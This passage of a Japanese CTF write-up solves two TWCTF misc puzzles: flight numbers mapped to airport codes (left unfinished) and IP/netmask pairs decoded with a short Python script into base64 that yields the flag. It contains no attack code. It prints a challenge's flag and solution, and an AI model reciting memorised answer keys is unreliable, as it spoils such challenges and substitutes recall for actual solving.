> LH908
> NH2177
> 
> }
> ちゃんとした文になります。
> Flag format is /^TWCTF{[A-Z]+}$/

こういう問題がいっぱい出ていたのが昔のCTFなんだよな。これは飛行機の便名。出発空港と到着空港に直すと、

```
TWCTF{

OKA NGO
LHR YYZ
ITM HND
TBS ODS
HND OKA
FRA LHR
NRT ITM

}
```

ここから文に直すのはどうしたら良いのだろう。

### mask (Misc)

> 192.168.55.86/255.255.255.0
> 192.168.80.198/255.255.255.128
> 192.168.1.228/255.255.255.128
> 192.168.90.68/255.255.254.0
>  :

こういう問題が(ry　サブネット部分を文字に変換。

```solve.py
P = """
192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
192.168.8.214/255.255.255.128
192.168.5.197/255.255.255.128
192.168.71.90/255.255.255.0
192.168.62.55/255.255.255.192
192.168.78.209/255.255.255.128
192.168.76.216/255.255.255.128
192.168.91.202/255.255.255.128
192.168.93.108/255.255.255.0
192.168.74.76/255.255.254.0
192.168.10.88/255.255.254.0
192.168.82.236/255.255.255.128
192.168.13.246/255.255.255.128
192.168.99.228/255.255.255.128
192.168.68.83/255.255.252.0
192.168.23.113/255.255.255.192
192.168.52.113/255.255.255.192
192.168.69.99/255.255.255.0
192.168.19.114/255.255.255.192
192.168.53.236/255.255.255.128
192.168.90.117/255.255.254.0
192.168.35.90/255.255.255.0
192.168.91.121/255.255.255.0
192.168.48.49/255.255.255.192
192.168.27.104/255.255.255.0
192.168.98.204/255.255.255.128
192.168.93.87/255.255.255.0
192.168.44.113/255.255.255.192
192.168.40.104/255.255.248.0
192.168.25.227/255.255.255.128
192.168.57.50/255.255.255.192
192.168.97.115/255.255.255.0
192.168.30.47/255.255.255.192
192.168.10.102/255.255.254.0
192.168.51.209/255.255.255.128
192.168.82.125/255.255.255.192
192.168.72.125/255.255.255.192
"""

P = P.split("\n")[1:-1]
ans = ""
for p in P:
  a, m = p.split("/")
  a = int(a.split(".")[-1])
  m = int(m.split(".")[-1])
  ans += chr(a&~m)
print(ans)
```

```shell-session
$ python3 solve.py
VFdDVEZ7QXJlLXlvdS11c2luZy1hLW1hc2s/fQ==
$ python3 solve.py | base64 -d
TWCTF{Are-you-using-a-mask?}
```

`TWCTF{Are-you-using-a-mask?}`